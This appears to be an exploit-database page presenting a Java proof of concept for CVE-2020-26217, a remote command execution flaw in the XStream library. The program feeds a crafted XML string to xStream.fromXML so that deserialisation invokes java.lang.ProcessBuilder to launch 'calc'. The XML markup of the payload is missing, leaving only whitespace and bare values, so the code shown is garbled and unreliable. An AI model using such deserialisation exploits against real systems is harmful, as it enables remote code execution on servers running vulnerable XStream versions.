Exploit for OS Command Injection in Xstream CVE-2020-26217
Exploit Code
## https://sploitus.com/exploit?id=58CD2EEE-5826-5136-84D4-BCAC28741415
# CVE-2020-26217-XStream-RCE-POC
## e.g
```java
package org.example;
import com.thoughtworks.xstream.XStream;
import java.io.IOException;
public class CVE_2020_26217{
public static void main(String[] args) throws IOException{
XStream xStream = new XStream();
String payload = "\n" +
" \n" +
" \n" +
" 0\n" +
" \n" +
" \n" +
" \n" +
" text/plain\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" 0\n" +
" -1\n" +
" 1\n" +
" \n" +
" \n" +
" \n" +
" calc\n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" java.lang.ProcessBuilder\n" +
" start\n" +
" \n" +
" \n" +
" start\n" +
" \n" +
" \n" +
" \n" +
" KEYS\n" +
" \n" +
" \n" +
" \n" +
" 0\n" +
" 0\n" +
" 0\n" +
" \n" +
" \n" +
" false\n" +
" \n" +
" \n" +
" \n" +
" 0\n" +
" \n" +
" \n" +
" test\n" +
" \n" +
"";
xStream.fromXML(payload);
}
}
```
